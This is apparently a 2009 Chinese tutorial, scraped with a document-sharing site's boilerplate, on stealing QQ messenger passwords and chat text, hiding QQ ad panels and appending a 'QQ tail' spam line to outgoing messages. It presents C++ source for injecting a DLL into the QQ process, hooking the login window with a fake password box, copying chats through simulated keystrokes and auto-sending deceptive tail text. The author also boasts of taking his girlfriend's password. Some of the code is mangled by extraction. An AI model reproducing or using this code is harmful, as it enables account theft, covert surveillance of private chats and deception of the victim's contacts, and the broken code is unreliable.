




版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、如何截取如何截取 QQQQ 密碼和聊天內(nèi)容、去掉密碼和聊天內(nèi)容、去掉 QQQQ 廣告欄、添加廣告欄、添加 QQQQ 尾巴(附源碼)尾巴(附源碼)【版 本】1.0.0【操作系統(tǒng)】Windows 桌面操作系統(tǒng)【作 者】謝紅偉chrys http:/【開(kāi)發(fā)日期】2009-02-15 5:02【文檔日期】2009-02-15 5:02【源代碼下載】http:/ 引引前言 .1思路分析 .2進(jìn)入 QQ 進(jìn)程.2遠(yuǎn)程注入 DLL.3截取 QQ 登錄密碼.7截取本機(jī) QQ 賬號(hào)和昵稱.9截取聊天內(nèi)容 .11增加 QQ 尾巴.12去掉 QQ 廣告欄.15鄭重申明 .18結(jié)束語(yǔ) .18前言前言中國(guó)網(wǎng)民沒(méi)有不熟悉
2、 QQ 的,QQ 玩家沒(méi)有不知道珊瑚蟲(chóng)和彩虹的去廣告顯 IP 版 QQ 的,有段時(shí)間 QQ 尾巴也很盛行,就是每次聊天的時(shí)候它自動(dòng)在你的聊天文字后面加一段話,欺騙你的 QQ 網(wǎng)友上當(dāng)。如今的網(wǎng)絡(luò)就好比武俠小說(shuō)里的江湖,行走江湖的劍客須有絕世武功方可不倒于對(duì)手的劍下。本文將向你講述如何截取 QQ 密碼和聊天內(nèi)容,如何將 QQ 的廣告欄去掉,并添加自定的 QQ 尾巴。思路分析思路分析要截獲 QQ 密碼,大家一定想到鍵盤(pán)鉤子,2006 版以前的 QQ 用這種方法的確可以截獲到 QQ 密碼,我也曾經(jīng)用這種方法將我女朋友的 QQ 密碼給弄過(guò)來(lái)了,但 2007 版以后的 QQ 在密碼輸入框里做了大量的手腳
3、,即使用spy+也無(wú)法截取到任何消息,鍵盤(pán)鉤子也失效了。我們總是幸運(yùn)的,QQ 登錄窗口的消息還是可以獲取到,既然鉤子不能用了,那我們何不換種思維方式走走捷徑呢?修改登錄窗口的回調(diào)函數(shù)地址,截取其所有消息,并創(chuàng)建一個(gè)虛假的密碼輸入框來(lái)到達(dá)截取密碼的目的,就好比在復(fù)寫(xiě)紙上寫(xiě)字,字跡會(huì)留下痕跡。騰訊為了保護(hù)聊天內(nèi)容的安全性,防止 QQ 尾巴的干擾,對(duì)聊天的文字輸入框用額外的控件做了特殊處理,同樣不能截取到任何消息,也不能用WM_GETTEXT 和 WM_CHAR 消息來(lái)取得其中的文字內(nèi)容。其實(shí)這個(gè)問(wèn)題好解決,只要用模擬鍵盤(pán)程序模擬“Ctrl+A”-“Ctrl+C”就可以得到聊天內(nèi)容了。去 QQ 廣告
4、就更容易了,只要找到廣告顯示的子窗口,將它隱藏起來(lái),然后在相同位置放一個(gè)自己的子窗口就可以了,如果獲取到 IP 地址或?qū)Ψ降牡乩砦恢玫刃畔⒁部梢燥@示在這里。說(shuō)到這里,還有一個(gè)非常重要的問(wèn)題,那就是我們的程序必須執(zhí)行在 QQ空間,因?yàn)?Windows 系統(tǒng)進(jìn)程是受系統(tǒng)保護(hù)的,每個(gè)進(jìn)程有自己獨(dú)立的內(nèi)存空間,很多 API 函數(shù)只對(duì)同一個(gè)進(jìn)程有效,我們必須解決這個(gè)問(wèn)題。進(jìn)入進(jìn)入 QQ 進(jìn)程進(jìn)程要將我們自己寫(xiě)的代碼執(zhí)行在 QQ 進(jìn)程空間中才能實(shí)現(xiàn)我們上面的的分析思路,我想到了兩種方法:第一種方法還是鉤子,我們的代碼寫(xiě)到一個(gè) dll 動(dòng)態(tài)鏈接庫(kù)里,然后啟動(dòng)系統(tǒng)鉤子,當(dāng)任何一個(gè)進(jìn)程啟動(dòng)時(shí),我們的 dll 將
5、會(huì)被加載到該進(jìn)程中,我們判斷是否為 QQ 進(jìn)程,如果不是,我們的 dll 就立即卸載,否則我們就順利地進(jìn)入到QQ 進(jìn)程空間了。這種方法有個(gè)缺點(diǎn),就是任何進(jìn)程啟動(dòng)時(shí)我們的 dll 都會(huì)被加載,嚴(yán)重影響到系統(tǒng)性能,我們?cè)趯W(xué)習(xí)鉤子的時(shí)候書(shū)本上也確實(shí)講過(guò),系統(tǒng)鉤子最好少用,如果程序代碼執(zhí)行效率不高的情況下,將影響系統(tǒng)性能,再好用的軟件也將變成垃圾而被用戶清除出去的。第二種方法就是遠(yuǎn)程 dll 注入,即用創(chuàng)建遠(yuǎn)程線程的方法在 QQ 進(jìn)程空間中注入一個(gè)我自己的線程,這種方法針對(duì)性很強(qiáng),只對(duì) QQ 進(jìn)程進(jìn)行操作,不操作其他進(jìn)程,不影響系統(tǒng)性能,而且靈活性好,我們隨時(shí)可以將線程注入,也可以隨時(shí)撤銷,而第一種方
6、法是系統(tǒng)鉤子內(nèi)部控制的,我們無(wú)法干預(yù)。遠(yuǎn)程注入遠(yuǎn)程注入 Dll我們的程序分為兩個(gè)部分,一部分是 exe 執(zhí)行程序,可以控制 Dll 的注入,另一部分就是我們要注入的 Dll。首先我們要找到系統(tǒng)中的 QQ 進(jìn)程,這里要用到 ToolHelp32 系列函數(shù),以下函數(shù)能枚舉出系統(tǒng)所有的進(jìn)程:BOOL CProcessManage:EnumSystemProcess (OUT CStringArray *pStrAry_ProcessName/*=NULL*/,OUT CUIntArray *pUIntAry_ProcessID/*=NULL*/,OUT CStringArray *pStrAry_P
7、rocessPriority/*=NULL*/,OUT CUIntArray *pUIntAry_ThreadNum/*=NULL*/,OUT CStringArray *pStrAry_ProcessPath/*=NULL*/)HANDLE hProcess = NULL;PROCESSENTRY32 pe32;pe32.dwSize = sizeof(pe32);HANDLE hProcessSnap = :CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 );if ( hProcessSnap = INVALID_HANDLE_VALUE
8、)return FALSE;BOOL bMore = :Process32First(hProcessSnap,&pe32);while ( bMore )hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);if ( pStrAry_ProcessName ) pStrAry_ProcessName-Add ( pe32.szExeFile );if ( pUIntAry_ProcessID ) pUIntAry_ProcessID-Add ( pe32.th32ProcessID );if ( pUI
9、ntAry_ThreadNum ) pUIntAry_ThreadNum-Add ( tThreads );if ( pStrAry_ProcessPriority ) pStrAry_ProcessPriority-Add ( GetProcessPriority(hProcess) );if ( pStrAry_ProcessPath ) pStrAry_ProcessPath-Add ( GetProcessPath(pe32.th32ProcessID) );bMore = :Process32Next(hProcessSnap,&pe32);:CloseHandle(hPro
10、cessSnap);return TRUE;從枚舉出的所有進(jìn)程中找到 QQ 進(jìn)程,如下代碼:/ 枚舉出 “qq.exe”的進(jìn)程/int EnumQQProcess ( CStringArray *pStrAry_ProcessName/*=NULL*/, CUIntArray *pUIntAry_ProcessID/*=NULL*/, CStringArray *pStrAry_ProcessPath/*=NULL*/ )CStringArray StrAry_ProcessName;CUIntArray UIntAry_ProcessID;CStringArray StrAry_Proces
11、sPath;if ( !CProcessManage:EnumSystemProcess (&StrAry_ProcessName,&UIntAry_ProcessID,NULL,NULL,&StrAry_ProcessPath) )return -1;ASSERT ( StrAry_ProcessName.GetSize() = UIntAry_ProcessID.GetSize() );ASSERT ( StrAry_ProcessName.GetSize() = StrAry_ProcessPath.GetSize() );int nCount = 0;for (
12、 int i=0; iAdd ( csProcessName );if ( pUIntAry_ProcessID ) pUIntAry_ProcessID-Add ( UIntAry_ProcessID.GetAt(i) );if ( pStrAry_ProcessPath ) pStrAry_ProcessPath-Add ( StrAry_ProcessPath.GetAt(i) );return nCount;接下來(lái)我們使用函數(shù) VirtualAllocEx()/WriteProcessMemory()函數(shù)在 QQ 進(jìn)程中申請(qǐng)內(nèi)存空間,將我們的數(shù)據(jù)參數(shù)寫(xiě)入到 QQ 進(jìn)程內(nèi)存空間里,然后用
13、CreateRemoteThread()函數(shù)在 QQ 進(jìn)程空間中啟動(dòng)一個(gè)遠(yuǎn)程線程,將我們的 dll執(zhí)行在 QQ 進(jìn)程空間中,如下函數(shù)既是:typedef void (WINAPI *FUNC_SetRemoteParameter) ( LPVOID pParaAddrss, HWND hWndInvoker );BOOL CRemoteThreadMateQQDlg:RemoteInject ( DWORD dwPID, BOOL bInjected )if ( dwPID m_csLocalQQAccount.Empty();m_pQQMate-m_csLocalQQNickname.Emp
14、ty();memset ( &m_pQQMate-m_tnd, 0, sizeof(NOTIFYICONDATA) );CUIntArray UIntAry_ThreadID;CProcessManage:GetThreadInfo ( GetCurrentProcessId(), &UIntAry_ThreadID );for ( int i=0; im_hWndChatWindow, &pFindQQChatInfoPara-m_pfnOrgWindowProc_ChatWindow, WindowProc_ChatWindow );以上代碼將 QQ 聊天窗口的過(guò)程
15、函數(shù)改為我們自己的函數(shù)“WindowProc_ChatWindow()” ,那用戶到底什么時(shí)候發(fā)送聊天信息呢?我們只要截獲消息 711 即可,收到該消息以后我們將觸發(fā)一個(gè)事件,我們另外的線程便開(kāi)始工作,將聊天內(nèi)容通過(guò)模擬鍵盤(pán)事件的方式復(fù)制出來(lái),然后再保存到我們另外的內(nèi)存區(qū)域里。/ 獲取用戶正要發(fā)送的聊天內(nèi)容,保存到數(shù)組中/CString CQQMate:GetWillSentChatText ()HwDbgLog ( L_DEBUG, _T(- GetWillSentChatText() );int nSleepTime = 100;/ 激活“發(fā)送文字信息的編輯框”并獲取輸入焦點(diǎn)ActiveW
16、indowAndHoldFocus ( m_pFindQQChatInfoPara_WillSendTextMsg-m_hWndChatWindow );CRect rcEditForSendMessage(0,0,0,0);:GetWindowRect ( m_pFindQQChatInfoPara_WillSendTextMsg-m_hWndEditForSendMessage, &rcEditForSendMessage );:SetFocus ( m_pFindQQChatInfoPara_WillSendTextMsg-m_hWndEditForSendMessage );M
17、ouseLeftClick ( rcEditForSendMessage.CenterPoint() );/ 將要發(fā)送的文字內(nèi)容拷貝出來(lái)并保存起來(lái)CString csSendingText;for ( int i=0; iAddQQChatContent ( TRUE, csSendingText );return csSendingText;增加增加 QQ 尾巴尾巴在獲取到聊天內(nèi)容后,還可以用模擬鍵盤(pán)的方式將 QQ 尾巴信息加到要發(fā)送的文字后面,如下代碼所示:CString CQQMate:AddQQTailText ()HwDbgLog ( L_DEBUG, _T(- AddQQTailT
18、ext() );int nSleepTime = 100;CString csQQTail;/ 將“消息模式”的聊天窗口透明化隱藏起來(lái)if ( m_pFindQQChatInfoPara_WillSendTextMsg-m_eQQChatWindowType = QQCHATWINDOW_MESSAGEMODE )/TransparentWindow ( m_pFindQQChatInfoPara_WillSendTextMsg-m_hWndChatWindow, 0 );:ShowWindow ( m_pFindQQChatInfoPara_WillSendTextMsg-m_hWndCha
19、tWindow, SW_RESTORE );/ 增加 QQ 尾巴內(nèi)容int nQQTailPos = -1;csQQTail = GetQQTailText ( m_pFindQQChatInfoPara_WillSendTextMsg-m_csQQPeerAccount );if ( !csQQTail.IsEmpty() )if ( m_pFindQQChatInfoPara_WillSendTextMsg-m_eQQChatWindowType = QQCHATWINDOW_DISCUSSION )csQQTail.Insert ( 0, _T(rn) );CopyTextToClipb
20、oard ( csQQTail );Sleep(nSleepTime);if ( m_pFindQQChatInfoPara_WillSendTextMsg-m_eQQChatWindowType = QQCHATWINDOW_DISCUSSION )KeyboardCombineEvent ( VK_CONTROL, VK_END, 0 );elseKeyboardCombineEvent ( VK_CONTROL, A, 0 );Sleep(nSleepTime);KeyboardCombineEvent ( VK_CONTROL, V, 0 );Sleep(nSleepTime);HwD
21、bgLog ( L_DEBUG, _T(QQ 尾巴內(nèi)容 = %s), csQQTail );return csQQTail;由于我們是在用戶做了發(fā)送操作(點(diǎn)“發(fā)送”按鈕、按快捷鍵“Ctrl+Enter” 、按快捷鍵“Alt+S” )之后才進(jìn)行我們的處理,所以簡(jiǎn)單地將 QQ尾巴信息加到發(fā)送框里是發(fā)送不出去的,所以我們必須在增加 QQ 尾巴信息完成后再向 QQ 聊天窗口發(fā)送一個(gè)“發(fā)送按鈕”被點(diǎn)擊的消息,如下代碼所示:if ( !csQQTail.IsEmpty() ):PostMessage ( m_pFindQQChatInfoPara_WillSendTextMsg-m_hWndChatWin
22、dow, WM_COMMAND, (WPARAM)CONTROL_ID_CHAT_BUTTON_SEND, LPARAM(NULL) );看看程序效果圖:輸入聊天文字發(fā)送聊天信息后自動(dòng)增加了 QQ 尾巴去掉去掉 QQ 廣告欄廣告欄用EnumChildWindows() API 函數(shù)查找到廣告欄子窗口句柄,然后隱藏它,如下代碼所示:if ( !IsWindow(pFindQQChatInfoPara-m_hWndAD1) )/ 類名符合嗎if ( strstr_hw ( szClassName, _T(static) ) )CRect rc, rcAD1(248,22,490,62);:GetW
23、indowRect ( hWnd, &rc );CWnd:FromHandle(g_hWndQQChatWindow)-ScreenToClient ( &rc );if ( rcAD1.EqualRect(&rc) | ( rcAD1.PtInRect(rc.TopLeft() & rcAD1.PtInRect(rc.BottomRight() ) |( rc.PtInRect(rcAD1.TopLeft() & rc.PtInRect(rcAD1.BottomRight() )pFindQQChatInfoPara-m_hWndAD1 = hWnd;:ShowWindow ( hWnd, SW_HIDE );接著將我們需要顯示的文字內(nèi)容寫(xiě)上去,可以截獲消息 WM_P
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 市政道路項(xiàng)目節(jié)能評(píng)估報(bào)告
- Unit 5 There Is a Big Bed(教學(xué)設(shè)計(jì))-2024-2025學(xué)年人教PEP版英語(yǔ)五年級(jí)上冊(cè)
- 自建商城合同范本
- 2025年度大數(shù)據(jù)應(yīng)用采購(gòu)委托代理合同
- 2025年度吊車租賃業(yè)務(wù)及現(xiàn)場(chǎng)施工安全監(jiān)督合同
- 2025年度電商直播帶貨培訓(xùn)與運(yùn)營(yíng)指導(dǎo)合同
- 平方千米的認(rèn)識(shí)(教學(xué)設(shè)計(jì))-2024-2025學(xué)年數(shù)學(xué)五年級(jí)上冊(cè)蘇教版
- 2025年度餐飲業(yè)承包經(jīng)營(yíng)合同范本全新升級(jí)版
- 2025年度建筑工程質(zhì)量檢測(cè)合同規(guī)范文本(住建部)
- 2025年度白灰產(chǎn)品回收利用合同協(xié)議正規(guī)范本
- 《供熱工程》課件
- 安全管理人員七大職責(zé)
- 音樂(lè)教育國(guó)際化進(jìn)程-洞察分析
- 植入式靜脈給藥裝置護(hù)理技術(shù)課件
- GB/T 24091-2024適應(yīng)氣候變化脆弱性、影響和風(fēng)險(xiǎn)評(píng)估指南
- 2024年山東工程職業(yè)技術(shù)大學(xué)單招職業(yè)傾向性測(cè)試題庫(kù)(500題)含答案解析
- 生活垃圾我知道(課件)二年級(jí)下冊(cè)勞動(dòng)
- 事業(yè)單位考試職業(yè)能力傾向測(cè)驗(yàn)(醫(yī)療衛(wèi)生類E類)試卷及答案指導(dǎo)
- 每日系列-計(jì)算小紙條-3年級(jí)下冊(cè)
- 2024年廣西區(qū)公務(wù)員考試《行測(cè)》真題及答案解析
- 化工安全 教案 第三章 燃燒與爆炸理論基礎(chǔ)
評(píng)論
0/150
提交評(píng)論